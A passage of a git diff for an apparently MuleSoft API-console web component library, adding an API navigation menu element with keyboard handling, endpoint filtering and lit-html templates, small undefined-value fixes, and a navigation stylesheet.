+      target = /** @type HTMLElement */ (e.currentTarget);
+    } else if (eTarget.classList.contains('method-label')) {
+      target = /** @type HTMLElement */ (eTarget.parentNode);
+    } else {
+      target = eTarget;
+    }
+    this[selectItem](target);
+  }
+
+  /**
+   * Handler for the navigation event. Updates the selection if dispatched from other element.
+   * @param {ApiNavigationEvent} e
+   */
+  [navigationHandler](e) {
+    const path = e.composedPath();
+    if (path[0] === this) {
+      return;
+    }
+    this[cleanPassiveSelection]();
+    if (e.detail.passive === true) {
+      this[handlePassiveNavigation](e.detail);
+      return;
+    }
+    if (this.domainId !== e.detail.domainId) {
+      this.__cancelNavigationEvent = true;
+      this.domainId = e.detail.domainId;
+      this.domainType = e.detail.domainType;
+      this.__cancelNavigationEvent = false;
+      this.requestUpdate();
+    }
+  }
+
+  /**
+   * @param {ApiNavigationEventDetail} detail 
+   */
+  [handlePassiveNavigation](detail) {
+    if (detail.domainType === 'operation') {
+      this[selectMethodPassive](detail.domainId);
+    }
+  }
+
+  [cleanPassiveSelection]() {
+    // Very simple optimization to not query local DOM if we are sure
+    // that there's no selection.
+    if (!this[hasPassiveSelection]) {
+      return;
+    }
+    const nodes = this.shadowRoot.querySelectorAll('.passive-selected');
+    for (let i = 0, len = nodes.length; i < len; i++) {
+      nodes[i].classList.remove('passive-selected');
+    }
+    this[hasPassiveSelection] = false;
+  }
+
+  /**
+   * @param {string} id 
+   */
+  [selectMethodPassive](id) {
+    const selector = `[data-api-id="${id}"]`;
+    const node = this.shadowRoot.querySelector(selector);
+    if (!node) {
+      return;
+    }
+    node.classList.add('passive-selected');
+    this[hasPassiveSelection] = true;
+    const collapse = /** @type AnypointCollapseElement */ (node.parentElement);
+    if (!collapse.opened) {
+      collapse.opened = true;
+    }
+  }
+
+  /**
+   * Endpoint label click handler.
+   * Toggles endpoint's methods list.
+   *
+   * @param {MouseEvent} e
+   */
+  [toggleEndpoint](e) {
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const test = true;
+    while (test) {
+      const node = path.shift();
+      if (!node) {
+        return;
+      }
+      if (node.nodeType !== 1) {
+        continue;
+      }
+      if (!node.dataset.endpointId) {
+        continue;
+      }
+      this.toggleOperations(node.dataset.endpointId);
+      break;
+    }
+  }
+
+  /**
+   * @param {MouseEvent} e 
+   */
+  [toggleEndpointDocumentation](e) {
+    if (!this.noOverview) {
+      return this[toggleEndpoint](e)
+    }
+  }
+
+  /**
+   * @param {MouseEvent} e 
+   */
+  [toggleEndpointButton](e) {
+    if (this.noOverview) {
+      return this[toggleEndpoint](e)
+    }
+  }
+
+  /**
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
+   *
+   * @param {number} factor Computed indent factor for the resource
+   * @param {number} size The size of indentation in pixels.
+   * @returns {string} Style attribute value for the item.
+   */
+  [computeEndpointPadding](factor, size) {
+    const padding = this[computeEndpointPaddingLeft]();
+    if (factor < 1) {
+      return `padding-left: ${padding}px`;
+    }
+    const result = factor * size + padding;
+    return `padding-left: ${result}px`;
+  }
+
+  /**
+   * @param {number} factor 
+   * @param {number} size 
+   * @returns {string}
+   */
+  [computeMethodPadding](factor, size) {
+    const padding = this[computeOperationPaddingLeft]();
+    if (factor < 1) {
+      return `padding-left: ${padding}px`;
+    }
+    const result = factor * size + padding;
+    return `padding-left: ${result}px`;
+  }
+
+  /**
+   * Computes operation list item left padding from CSS variables.
+   * @return {number}
+   */
+  [computeOperationPaddingLeft]() {
+    let paddingLeft;
+    const prop = '--api-navigation-operation-item-padding-left';
+    const defaultPadding = 24;
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      paddingLeft = window.ShadyCSS.getComputedStyleValue(this, prop);
+    } else {
+      paddingLeft = getComputedStyle(this).getPropertyValue(prop);
+    }
+    if (!paddingLeft) {
+      return defaultPadding;
+    }
+    paddingLeft = paddingLeft.replace('px', '').trim();
+    const result = Number(paddingLeft);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
+    }
+    return result;
+  }
+
+  /**
+   * Computes endpoint list item left padding from CSS variables.
+   * @return {Number}
+   */
+  [computeEndpointPaddingLeft]() {
+    let padding;
+    const prop = '--api-navigation-list-item-padding';
+    const defaultPadding = 16;
+    // @ts-ignore
+    if (window.ShadyCSS) {
+      // @ts-ignore
+      padding = window.ShadyCSS.getComputedStyleValue(this, prop);
+    } else {
+      padding = getComputedStyle(this).getPropertyValue(prop);
+    }
+    if (!padding) {
+      return defaultPadding;
+    }
+    const parts = padding.split(' ');
+    let paddingLeftValue;
+    switch (parts.length) {
+      case 1:
+        paddingLeftValue = parts[0];
+        break;
+      case 2:
+        paddingLeftValue = parts[1];
+        break;
+      case 3:
+        paddingLeftValue = parts[1];
+        break;
+      case 4:
+        paddingLeftValue = parts[3];
+        break;
+      default:
+        return defaultPadding;
+    }
+    if (!paddingLeftValue) {
+      return defaultPadding;
+    }
+    paddingLeftValue = paddingLeftValue.replace('px', '').trim();
+    const result = Number(paddingLeftValue);
+    if (Number.isNaN(result)) {
+      return defaultPadding;
+    }
+    return result;
+  }
+
+  /**
+   * Returns filtered list of items to render in the menu list.
+   * When `query` is set it tests `label` property of each item if it contains
+   * the query. Otherwise it returns all items.
+   * @param {NavigationItem[]} items Name of the source property keeping array values to render.
+   * @returns {Array<TypeItem|DocumentationItem|SecurityItem|EndpointItem>|undefined}
+   */
+  [getFilteredType](items) {
+    if (!Array.isArray(items) || !items.length) {
+      return undefined;
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return items;
+    }
+    return items.filter(item => {
+      if (typeof item.label !== 'string') {
+        return false;
+      }
+      return item.label.toLowerCase().indexOf(q) !== -1;
+    });
+  }
+
+  /**
+   * Returns a list of endpoints to render.
+   * When `query` is set it returns filtered list of endpoints for given query.
+   * Otherwise it returns all endpoints.
+   * @returns {EndpointItem[]|undefined} Filtered list of endpoints
+   */
+  [getFilteredEndpoints]() {
+    const value = this[endpointsValue];
+    if (!value || !value.length) {
+      return undefined;
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return value;
+    }
+
+    const result = [];
+    for (let i = 0, len = value.length; i < len; i++) {
+      const endpoint = value[i];
+      // If the endpoint's path or label matches the query include whole item
+      if (
+        (endpoint.path || '').toLowerCase().indexOf(q) !== -1 ||
+        (endpoint.label || '').toLowerCase().indexOf(q) !== -1
+      ) {
+        result[result.length] = endpoint;
+        continue;
+      }
+      // otherwise check all methods and only include matched methods. If none match
+      // then do not include endpoint.
+      const eMethods = endpoint.methods;
+      if (!eMethods || !eMethods.length) {
+        continue;
+      }
+      const methods = [];
+      for (let j = 0, mLen = eMethods.length; j < mLen; j++) {
+        const method = eMethods[j];
+        if (
+          (method.label || '').toLowerCase().indexOf(q) !== -1 ||
+          method.method.indexOf(q) !== -1
+        ) {
+          methods[methods.length] = method;
+        }
+      }
+      if (methods.length) {
+        const copy = { ...endpoint };
+        copy.methods = methods;
+        result[result.length] = copy;
+      }
+    }
+    return result;
+  }
+
+  /**
+   * Closes all `anypoint-collapse` elements
+   */
+  [closeCollapses]() {
+    if (this[openedOperationsValue].length > 0) {
+      this[openedOperationsValue] = /** @type string[] */ ([]);
+      this.requestUpdate();
+    }
+  }
+
+  /**
+   * A handler for the focus event on this element.
+   * @param {FocusEvent} e
+   */
+  [focusHandler](e) {
+    if (this[shiftTabPressed]) {
+      // do not focus the menu itself
+      return;
+    }
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const rootTarget = path[0];
+    if (
+      rootTarget !== this &&
+      typeof rootTarget.tabIndex !== 'undefined' &&
+      !this.contains(rootTarget)
+    ) {
+      return;
+    }
+    this[focusedItemPrivate] = null;
+    if (this.selectedItem) {
+      this.selectedItem.focus();
+      this[focusedItemPrivate] = this.selectedItem;
+    } else {
+      this.focusNext();
+    }
+  }
+
+  /**
+   * Focuses on the previous item in the navigation.
+   */
+  focusPrevious() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex - i + length) % length];
+      if (!item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusedItemPrivate] = item;
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
+    }
+  }
+
+  /**
+   * Focuses on the next item in the navigation.
+   */
+  focusNext() {
+    const items = this[listActiveItems]();
+    const { length } = items;
+    const curFocusIndex = items.indexOf(this[focusedItemPrivate]);
+    for (let i = 1; i < length + 1; i++) {
+      const item = items[(curFocusIndex + i) % length];
+      if (!item.hasAttribute('disabled')) {
+        const owner = (item.getRootNode && item.getRootNode()) || document;
+        this[focusedItemPrivate] = item;
+        // Focus might not have worked, if the element was hidden or not
+        // focusable. In that case, try again.
+        // @ts-ignore
+        if (owner.activeElement === item) {
+          return;
+        }
+      }
+    }
+  }
+
+  /**
+   * Resets all tabindex attributes to the appropriate value based on the
+   * current selection state. The appropriate value is `0` (focusable) for
+   * the default selected item, and `-1` (not keyboard focusable) for all
+   * other items. Also sets the correct initial values for aria-selected
+   * attribute, true for default selected item and false for others.
+   */
+  [resetTabindices]() {
+    const { selectedItem } = this;
+    const items = this[listActiveItems]();
+    items.forEach(item => {
+      item.setAttribute('tabindex', item === selectedItem ? '0' : '-1');
+    });
+  }
+
+  /**
+   * Lists all HTML elements that are currently rendered in the view.
+   * @return {Element[]} Currently rendered items.
+   */
+  [listActiveItems]() {
+    if (this[itemsValue]) {
+      return this[itemsValue];
+    }
+    let result = [];
+    if (this.summary) {
+      const node = this.shadowRoot.querySelector('.list-item.summary');
+      if (node) {
+        result[result.length] = node;
+      }
+    }
+    if (this.hasEndpoints) {
+      const node = this.shadowRoot.querySelector('.endpoints .section-title');
+      if (node) {
+        result[result.length] = node;
+      }
+      let nodes;
+      if (this.noOverview) {
+        nodes = this.shadowRoot.querySelectorAll(
+          '.endpoints .list-item.endpoint .path-details,.endpoint-toggle-button'
+        );
+      } else {
+        nodes = this.shadowRoot.querySelectorAll(
+          '.endpoints .list-item.endpoint'
+        );
+      }
+      for (let i = 0; i < nodes.length; i++) {
+        const item = nodes[i];
+        result[result.length] = item;
+        const collapse = this.noOverview ? item.parentElement.nextElementSibling : item.nextElementSibling;
+        if (collapse.localName !== 'anypoint-collapse') {
+          continue;
+        }
+        if (!item.classList.contains('path-details')) {
+          const children = collapse.querySelectorAll('.list-item.operation');
+          if (children.length) {
+            result = result.concat(Array.from(children));
+          }
+        }
+      }
+    }
+    if (this.hasDocs) {
+      const children = this[listSectionActiveNodes]('.documentation');
+      result = result.concat(Array.from(children));
+    }
+    if (this.hasTypes) {
+      const children = this[listSectionActiveNodes]('.types');
+      result = result.concat(Array.from(children));
+    }
+    if (this.hasSecurity) {
+      const children = this[listSectionActiveNodes]('.security');
+      result = result.concat(Array.from(children));
+    }
+    this[itemsValue] = result.length ? result : undefined;
+    return result;
+  }
+
+  /**
+   * @param {string} selector The prefix for the query selector
+   * @return {Element[]} Nodes returned from query function.
+   */
+  [listSectionActiveNodes](selector) {
+    let result = [];
+    const node = this.shadowRoot.querySelector(`${selector} .section-title`);
+    if (node) {
+      result[result.length] = node;
+      const collapse = node.nextElementSibling;
+      if (collapse) {
+        const children = collapse.querySelectorAll('.list-item');
+        if (children.length) {
+          result = result.concat(Array.from(children));
+        }
+      }
+    }
+    return result;
+  }
+
+  /**
+   * Handler for the keydown event.
+   * @param {KeyboardEvent} e
+   */
+  [keydownHandler](e) {
+    if (e.key === 'ArrowDown') {
+      this[onDownKey](e);
+    } else if (e.key === 'ArrowUp') {
+      this[onUpKey](e);
+    } else if (e.key === 'Tab' && e.shiftKey) {
+      this[onShiftTabDown]();
+    } else if (e.key === 'Escape') {
+      this[onEscKey]();
+    } else if (e.key === ' ' || e.code === 'Space') {
+      this[onSpace](e);
+    } else if (e.key === 'Enter' || e.key === 'NumpadEnter') {
+      this[onSpace](e);
+    }
+    e.stopPropagation();
+  }
+
+  /**
+   * Handler that is called when the up key is pressed.
+   *
+   * @param {KeyboardEvent} e A key combination event.
+   */
+  [onUpKey](e) {
+    this.focusPrevious();
+    e.preventDefault();
+  }
+
+  /**
+   * Handler that is called when the down key is pressed.
+   *
+   * @param {KeyboardEvent} e A key combination event.
+   */
+  [onDownKey](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    this.focusNext();
+  }
+
+  /**
+   * Handler that is called when the esc key is pressed.
+   */
+  [onEscKey]() {
+    const { focusedItem } = this;
+    if (focusedItem) {
+      focusedItem.blur();
+    }
+  }
+
+  /**
+   * A handler for the space bar key down.
+   * @param {KeyboardEvent} e
+   */
+  [onSpace](e) {
+    e.preventDefault();
+    e.stopPropagation();
+    // @ts-ignore
+    const path = (e.composedPath && e.composedPath()) || e.path;
+    const target = /** @type HTMLElement */ (path && path[0]);
+    if (!target) {
+      return;
+    }
+    const { classList } = target;
+    if (classList.contains('section-title')) {
+      this[toggleSection](target);
+    } else if (
+      classList.contains('list-item') &&
+      classList.contains('endpoint')
+    ) {
+      this.toggleOperations(target.dataset.endpointId);
+    } else if (classList.contains('list-item')) {
+      this[selectItem](target);
+    }
+  }
+
+  /**
+   * Handler that is called when a shift+tab keypress is detected by the menu.
+   */
+  [onShiftTabDown]() {
+    const oldTabIndex = this.getAttribute('tabindex');
+    this[shiftTabPressed] = true;
+    this[focusedItemPrivate] = null;
+    this.setAttribute('tabindex', '-1');
+    setTimeout(() => {
+      this.setAttribute('tabindex', oldTabIndex);
+      this[shiftTabPressed] = false;
+    }, 1);
+  }
+
+  render() {
+    const { styles } = this;
+    return html`
+    <style>${styles}</style>
+    <div class="wrapper" role="menu" aria-label="Navigate the API">
+      ${this[summaryTemplate]()}
+      ${this[endpointsTemplate]()} 
+      ${this[documentationTemplate]()}
+      ${this[typesTemplate]()} 
+      ${this[securityTemplate]()}
+    </div> `;
+  }
+
+  /**
+   * @return {TemplateResult|string} The template for the summary entry.
+   */
+  [summaryTemplate]() {
+    if (!this.summaryRendered) {
+      return '';
+    }
+    return html`
+    <section class="summary">
+      <div
+        part="api-navigation-list-item"
+        class="list-item summary"
+        role="menuitem"
+        tabindex="0"
+        data-api-id="summary"
+        data-shape="summary"
+        @click="${this[itemClickHandler]}"
+      >
+        ${this.summaryLabel}
+      </div>
+    </section>
+    `;
+  }
+
+  /**
+   * Renders a template for endpoints and methods list.
+   * @return {TemplateResult|string}
+   */
+  [endpointsTemplate]() {
+    if (!this.hasEndpoints) {
+      return '';
+    }
+    const items = this[getFilteredEndpoints]();
+    if (!items || !items.length) {
+      return '';
+    }
+
+    const sectionLabel = this._isWebAPI(this.amf) ? 'Endpoints' : 'Channels';
+    const lowercaseSectionLabel = sectionLabel.toLowerCase();
+
+    return html` <section
+      class="endpoints"
+      ?data-opened="${this.endpointsOpened}"
+    >
+      <div
+        class="section-title"
+        data-section="endpoints"
+        @click="${this[toggleSectionHandler]}"
+        title="Toggle ${lowercaseSectionLabel} list"
+        aria-haspopup="true"
+        role="menuitem"
+      >
+        <div class="title-h3">${sectionLabel}</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button"
+          aria-label="Toggle ${lowercaseSectionLabel}"
+          .noink="${this.noink}"
+          ?anypoint="${this.anypoint}"
+          tabindex="-1"
+          data-toggle="endpoints"
+        >
+          <span class="icon">${keyboardArrowDown}</span>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse
+        .opened="${this.endpointsOpened}"
+        aria-hidden="${this.endpointsOpened ? 'false' : 'true'}"
+        role="menu"
+      >
+        <div class="children">
+          ${items.map(item => this[endpointTemplate](item))}
+        </div>
+      </anypoint-collapse>
+    </section>`;
+  }
+
+  /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult|string} Template for an endpoint overview.
+   */
+  [overviewTemplate](item) {
+    if (this.noOverview) {
+      return '';
+    }
+    const style = /** @type string */ (this[computeMethodPadding](item.indent, this.indentSize));
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="list-item operation"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${item.id}"
+      data-shape="resource"
+      data-endpoint-overview="${item.path}"
+      @click="${this[itemClickHandler]}"
+      style="${style}"
+    >
+      Overview
+    </div>`
+  }
+
+  /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult} Template for an endpoint path.
+   */
+  [endpointPathTemplate](item) {
+    const { noOverview } = this;
+    return html`<div class="path-details">
+        ${noOverview ?
+      html`<div class="endpoint-name-overview" @click="${this[itemClickHandler]}" data-api-id="${item.id}" data-shape="resource">${item.label}</div>`
+      : html`<div class="endpoint-name">${item.label}</div>`}
+        ${computeRenderPath(this.allowPaths, item.renderPath)
+      ? html`<div class="path-name">${item.path}</div>`
+      : undefined}
+      </div>`;
+  }
+
+    /**
+   * @param {EndpointItem} item
+   * @return {TemplateResult} Template for an endpoint item.
+   */
+  [endpointTemplate](item) {
+    const isEndpointOpened = this[openedOperationsValue].includes(item.id);
+    return html`
+    <div
+      part="api-navigation-list-item"
+      class="list-item endpoint"
+      data-endpoint-id="${item.id}"
+      data-endpoint-path="${item.path}"
+      ?data-endpoint-opened="${isEndpointOpened}"
+      @click="${this[toggleEndpointDocumentation]}"
+      title="Toggle endpoint documentation"
+      style="${/** @type string */ (this[computeEndpointPadding](item.indent, this.indentSize))}"
+      role="menuitem"
+      aria-haspopup="true"
+    >
+      ${this[endpointPathTemplate](item)}
+      <anypoint-icon-button
+        part="api-navigation-endpoint-toggle-button toggle-button"
+        class="endpoint-toggle-button"
+        aria-label="Toggle endpoint"
+        .noink="${this.noink}"
+        ?anypoint="${this.anypoint}"
+        tabindex="-1"
+        @click="${this[toggleEndpointButton]}"
+      >
+        <span class="icon">${keyboardArrowDown}</span>
+      </anypoint-icon-button>
+    </div>
+    <anypoint-collapse
+      part="api-navigation-operation-collapse"
+      class="operation-collapse"
+      data-api-id="${item.id}"
+      ?data-endpoint-opened="${isEndpointOpened}"
+      role="menu"
+      .opened="${isEndpointOpened}"
+    >
+      ${this[overviewTemplate](item)}
+      ${item.methods.map(methodItem =>
+        this[methodTemplate](item, methodItem)
+      )}
+    </anypoint-collapse>`;
+  }
+
+  /**
+   * @param {EndpointItem} endpointItem
+   * @param {MethodItem} operation
+   * @return {TemplateResult}
+   */
+  [methodTemplate](endpointItem, operation) {
+    const style = /** @type string */ (this[computeMethodPadding](endpointItem.indent, this.indentSize));
+    return html`<div
+      part="api-navigation-list-item"
+      class="list-item operation"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${operation.id}"
+      data-parent-id="${endpointItem.id}"
+      data-shape="operation"
+      @click="${this[itemClickHandler]}"
+      style="${style}"
+    >
+      <span class="method-label" data-method="${operation.method}"
+        >${operation.method}</span
+      >
+      ${operation.label}
+    </div>`;
+  }
+
+  /**
+   * Renders a template for documentation list.
+   * @return {TemplateResult|string}
+   */
+  [documentationTemplate]() {    
+    if (!this.hasDocs) {
+      return '';
+    }
+    const items = /** @type DocumentationItem[] */ (this[getFilteredType](this[docsValue]));
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html`
+      <section class="documentation" ?data-opened="${this.docsOpened}">
+        <div
+          class="section-title"
+          data-section="docs"
+          @click="${this[toggleSectionHandler]}"
+          title="Toggle documentation list"
+        >
+          <div class="title-h3">Documentation</div>
+          <anypoint-icon-button
+            part="toggle-button"
+            class="toggle-button"
+            noink="${this.noink}"
+            @click="${this[itemClickHandler]}"
+            aria-label="Toggle documents"
+            ?anypoint="${this.anypoint}"
+            tabindex="-1"
+          >
+            <span class="icon">${keyboardArrowDown}</span>
+          </anypoint-icon-button>
+        </div>
+        <anypoint-collapse .opened="${this.docsOpened}">
+          <div class="children">
+            ${items.map(item => this[documentationItemTemplate](item))}
+          </div>
+        </anypoint-collapse>
+      </section>
+    `;
+  }
+
+  /**
+   * @param {DocumentationItem} item
+   * @return {TemplateResult} Template for an docs item
+   */
+  [documentationItemTemplate](item) {
+    if (item.isExternal) {
+      return html`<a
+        href="${item.url}"
+        target="_blank"
+        part="api-navigation-list-item"
+        class="list-item"
+        tabindex="0"
+        data-api-id="${item.id}"
+        data-shape="documentation"
+      >
+        ${item.label}
+        <span class="icon new-tab" title="Opens in a new tab"
+          >${openInNew}</span
+        >
+      </a>`;
+    }
+    return html`<div
+      part="api-navigation-list-item"
+      class="list-item"
+      role="menuitem"
+      tabindex="0"
+      data-api-id="${item.id}"
+      data-shape="documentation"
+      @click="${this[itemClickHandler]}"
+    >
+      ${item.label}
+    </div>`;
+  }
+
+  /**
+   * Renders a template for types list.
+   * @return {TemplateResult|string}
+   */
+  [typesTemplate]() {
+    if (!this.hasTypes) {
+      return '';
+    }
+    const items = this[getFilteredType](this[typesValue]);
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html`
+      <section class="types" ?data-opened="${this.typesOpened}">
+        <div
+          class="section-title"
+          data-section="types"
+          @click="${this[toggleSectionHandler]}"
+          title="Toggle types list"
+        >
+          <div class="title-h3">Types</div>
+          <anypoint-icon-button
+            part="toggle-button"
+            class="toggle-button"
+            noink="${this.noink}"
+            aria-label="Toggle types"
+            ?anypoint="${this.anypoint}"
+            tabindex="-1"
+            data-toggle="types"
+          >
+            <span class="icon">${keyboardArrowDown}</span>
+          </anypoint-icon-button>
+        </div>
+        <anypoint-collapse .opened="${this.typesOpened}">
+          <div class="children">
+            ${items.map(
+              item =>
+                html`<div
+                  part="api-navigation-list-item"
+                  class="list-item"
+                  role="menuitem"
+                  tabindex="0"
+                  data-api-id="${item.id}"
+                  data-shape="schema"
+                  data-type-name="${item.label}"
+                  @click="${this[itemClickHandler]}"
+                >
+                  ${item.label}
+                </div>`
+            )}
+          </div>
+        </anypoint-collapse>
+      </section>
+    `;
+  }
+
+  /**
+   * @return {TemplateResult|string} template for security schemes list.
+   */
+  [securityTemplate]() {
+    if (!this.hasSecurity) {
+      return '';
+    }
+    const items = this[getFilteredType](this[securityValue]);
+    if (!items || !items.length) {
+      return '';
+    }
+
+    return html` <section
+      class="security"
+      ?data-opened="${this.securityOpened}"
+    >
+      <div
+        class="section-title"
+        data-section="security"
+        @click="${this[toggleSectionHandler]}"
+        title="Toggle security list"
+      >
+        <div class="title-h3">Security</div>
+        <anypoint-icon-button
+          part="toggle-button"
+          class="toggle-button"
+          noink="${this.noink}"
+          aria-label="Toggle security"
+          ?anypoint="${this.anypoint}"
+          tabindex="-1"
+          data-toggle="security"
+        >
+          <span class="icon">${keyboardArrowDown}</span>
+        </anypoint-icon-button>
+      </div>
+      <anypoint-collapse .opened="${this.securityOpened}">
+        <div class="children">
+          ${items.map(
+            item => html`<div
+              part="api-navigation-list-item"
+              class="list-item"
+              role="menuitem"
+              tabindex="0"
+              data-api-id="${item.id}"
+              data-shape="security"
+              data-security-name="${item.label}"
+              @click="${this[itemClickHandler]}"
+            >
+              ${item.label}
+            </div>`
+          )}
+        </div>
+      </anypoint-collapse>
+    </section>`;
+  }
+}
diff --git a/src/elements/ApiRequestEditorElement.js b/src/elements/ApiRequestEditorElement.js
index f090417..26a884c 100644
--- a/src/elements/ApiRequestEditorElement.js
+++ b/src/elements/ApiRequestEditorElement.js
@@ -779,7 +779,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(EventsTar
    */
   async [queryOperation]() {
     const { domainId } = this;
-    if (!domainId) {
+    if (!domainId || domainId === 'undefined') {
       // this[operationValue] = undefined;
       return;
     }
@@ -803,7 +803,7 @@ export default class ApiRequestEditorElement extends AmfParameterMixin(EventsTar
    */
   async [queryEndpoint]() {
     const { domainId, endpointId } = this;
-    if (!domainId) {
+    if (!domainId || domainId === 'undefined') {
       // this[endpointValue] = undefined;
       return;
     }
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index d95a2f4..ce4b390 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -336,7 +336,7 @@ export default class ApiSummaryElement extends ApiDocumentationBase {
     const { name='', email, url } = summary.provider;
     const link = url ? sanitizeHTML(
       `<a href="${url}" target="_blank" class="app-link provider-url text-selectable">${url}</a>`,
-    ) : 'undefined';
+    ) : '';
     return html`
     <section role="contentinfo" class="docs-section" part="info-section">
       <label class="section">Contact information</label>
diff --git a/src/elements/styles/NavStyles.js b/src/elements/styles/NavStyles.js
new file mode 100644
index 0000000..0e28e13
--- /dev/null
+++ b/src/elements/styles/NavStyles.js
@@ -0,0 +1,248 @@
+import { css } from 'lit-element';
+
+export default css`
+:host {
+  display: block;
+  background-color: var(--api-navigation-background-color, inherit);
+  color: var(--api-navigation-color, inherit);
+  overflow: auto;
+  position: relative;
+  outline: none;
+}
+
+.wrapper {
+  color: inherit;
+}
+
+*[hidden] {
+  display: none !important;
+}
+
+.section-title {
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  cursor: default;
+  padding: var(--api-navigation-section-title-padding, 4px 16px);
+  background-color: var(--api-navigation-section-title-background-color, inherit);
+  user-select: none;
+  min-height: 40px;
+  color: var(--api-navigation-header-color, inherit);
+  outline: none;
+}
+
+.section-title:focus {
+  background-color: var(--api-navigation-section-title-focus-background-color, #e5e5e5);
+}
+
+.title-h3,
+.list-item.summary {
+  font-size: var(--api-navigation-list-section-font-size, 16px);
+  font-weight: var(--api-navigation-list-section-font-weight, 500);
+  line-height: 24px;
+  flex: 1;
+  flex-basis: 0.000000001px;
+  padding: 0;
+  margin: 0;
+}
+
+.list-item.summary {
+  padding: var(--api-navigation-list-item-summary-padding, 12px 16px);
+}
+
+.list-item.endpoint {
+  font-weight: var(--api-navigation-endpoint-font-weight, 400);
+  font-size: var(--api-navigation-endpoint-font-size, 15px);
+  user-select: none;
+  display: flex;
+  flex-direction: row;
+}
+
+.list-item.endpoint:first-of-type {
+  margin-top: 0px;
+}
+
+.children {
+  background-color: inherit;
+}
+
+.list-item {
+  display: block;
+  position: relative;
+  min-height: var(--api-navigation-list-item-min-height, 40px);
+  padding: var(--api-navigation-list-item-padding, 4px 16px);
+  border: none;
+  outline: none;
+  background-color: inherit;
+  width: 100%;
+  text-align: left;
+  box-sizing: border-box;
+  cursor: pointer;
+  word-break: var(--api-navigation-list-item-word-break, break-all);
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  /* For Anypoint styles */
+  border-left: var(--api-navigation-list-item-border-left);
+}
+
+.list-item.selected {
+  font-weight: var(--api-navigation-list-item-selected-weight, bold);
+  background-color: var(--api-navigation-list-item-selected-background-color, var(--accent-color));
+  color: var(--api-navigation-list-item-selected-color, #fff);
+  /* For Anypoint styling */
+  border-left: var(--api-navigation-list-item-selected-border-left, initial);
+}
+
+.list-item.passive-selected {
+  font-weight: var(--api-navigation-list-item-selected-weight, bold);
+}
+
+.list-item[disabled] {
+  color: var(--api-navigation-list-item-disabled-color, var(--disabled-text-color));
+}
+
+.list-item:focus {
+  position: relative;
+  outline: 0;
+}
+
+.list-item:hover:not(.selected) {
+  /* This is Anypoint styling requirement */
+  border-left: var(--api-navigation-list-item-hovered-border-left, initial);
+}
+
+.list-item:focus:before {
+  position: absolute;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  background: currentColor;
+  content: '';
+  opacity: var(--dark-divider-opacity);
+  pointer-events: none;
+}
+
+a.list-item {
+  color: inherit;
+  text-decoration: none;
+}
+
+.toggle-button.section {
+  transform: rotateZ(0deg);
+  transition: transform 0.3s ease-in-out;
+
+  width: var(--api-navigation-section-toggle-icon-width, 32px);
+  height: var(--api-navigation-section-toggle-icon-height, 32px);
+}
+
+.toggle-button.section arc-icon {
+  color: var(--api-navigation-section-toggle-icon-color, var(--accent-color));
+}
+
+section.opened .toggle-button.section {
+  transform: rotateZ(-180deg);
+}
+
+.toggle-button.endpoint {
+  transform: rotateZ(-90deg);
+  transition: transform 0.3s ease-in-out;
+}
+
+.toggle-button.endpoint arc-icon {
+  color: var(--primary-text-color);
+}
+
+.endpoint.opened .toggle-button.endpoint {
+  transform: rotateZ(0deg);
+}
+
+.endpoint-toggle-mock {
+  width: 18px;
+  height: 40px;
+}
+
+.list-item .method-label {
+  margin: 0 8px 0 0;
+}
+
+.schemas .list-item,
+.documentation .list-item,
+.security .list-item,
+.custom-properties .list-item {
+  padding-left: var(--api-navigation-list-item-padded-padding, 24px);
+}
+
+.filter-wrapper {
+  padding: 0 12px;
+  height: 40px;
+  margin-bottom: 20px;
+  margin-top: 8px;
+  background-color: var(--api-navigation-filter-input-background-color, #e6e6e6);
+  border-radius: var(--api-navigation-filter-input-border-radius, 16px);
+  display: flex;
+  align-items: center;
+}
+
+.filter-wrapper:focus-within {
+  background-color: var(--api-navigation-filter-input-focused-background-color, #f1f1f1);
+}
+
+.filter-wrapper input::placeholder {
+  color: currentColor;
+  opacity: 1;
+  font-size: var(--api-navigation-filter-input-placeholder-font-size, 14px);
+}
+
+.filter-wrapper input{
+  border: none;
+  align-self: stretch;
+  flex: 1;
+  background-color: transparent;
+  outline: none;
+}
+
+.input-item {
+  padding: 0 12px;
+  display: flex;
+  flex-direction: row;
+  align-items: center;
+  height: 40px;
+  background-color: var(--api-navigation-edit-input-background-color, #e6e6e6);
+  border-radius: var(--api-navigation-edit-input-border-radius, 16px);
+}
+
+.input-item input {
+  margin: 0;
+  padding: 0;
+  border: none;
+  width: 100%;
+  outline: none;
+  background: transparent;
+}
+
+.rename {
+  width: 100%;
+  padding: 4px 2px;
+  font-size: 1rem;
+  border: none;
+  background-color: var(--api-navigation-rename-input-background-color, initial);
+  color: var(--api-navigation-rename-input-color, initial);
+}
+
+.input-item.add-external-doc-input {
